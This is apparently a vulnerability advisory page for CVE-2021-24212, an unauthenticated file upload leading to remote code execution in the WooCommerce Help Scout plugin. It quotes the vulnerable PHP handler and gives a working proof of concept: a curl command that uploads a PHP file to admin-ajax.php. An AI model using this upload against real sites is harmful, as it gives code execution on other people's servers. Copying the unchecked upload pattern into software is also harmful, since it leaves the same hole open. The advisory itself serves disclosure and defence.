WooCommerce Help Scout < 2.9.1 - Unauthenticated Arbitrary File Upload leading to RCE
| Reporter | Title | Published | Views | Family All 14 |
|---|---|---|---|---|
| CVE-2021-24212 | 5 Apr 202119:15 | – | attackerkb | |
| CVE-2021-24212 | 9 Jan 202407:43 | – | circl | |
| WordPress 代码问题漏洞 | 5 Apr 202100:00 | – | cnnvd | |
| CVE-2021-24212 | 5 Apr 202118:27 | – | cve | |
| CVE-2021-24212 WooCommerce Help Scout < 2.9.1 - Unauthenticated Arbitrary File Upload leading to RCE | 5 Apr 202118:27 | – | cvelist | |
| EUVD-2021-11126 | 7 Oct 202500:30 | – | euvd | |
| WooCommerce Help Scout - Arbitrary File Upload | 16 Sep 202602:04 | – | nuclei | |
| CVE-2021-24212 | 5 Apr 202119:15 | – | nvd | |
| CVE-2021-24212 | 5 Apr 202119:15 | – | osv | |
| WordPress WooCommerce Help Scout plugin <= 2.9 - Unauthenticated Arbitrary File Upload vulnerability leading to Remote Code Execution (RCE) | 21 Mar 202100:00 | – | patchstack |
10
| Source | Link |
|---|---|
| dzv365zjfbd8v | www.dzv365zjfbd8v.cloudfront.net/changelogs/woocommerce-help-scout/changelog.txt |
In file /woocommerce-help-scout/includes/class-wc-help-scout-ajax.php there is class WC_Help_Scout_Ajax
with constructor initializing action
add_action( 'wp_ajax_nopriv_wc_help_scout_upload_attachments', array( $this, 'wc_help_scout_upload_attachments' ) );
which reads uploaded $_FILES and then executes
$target_path_sia = $_FILES["file"]["name"];
move_uploaded_file($_FILES["file"]["tmp_name"],$dir. "/hstmp/" . $target_path_sia);
Ie. attacker can run
echo '<?php echo "Hello World!";' > helloworld.php
curl -X POST -F [email protected] https://<site>/wp-admin/admin-ajax.php?action=wc_help_scout_upload_attachments
to exploit this vuln.Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
30 Mar 2021 05:00Current
0.1Low risk
Vulners AI Score0.1
EPSS0.07908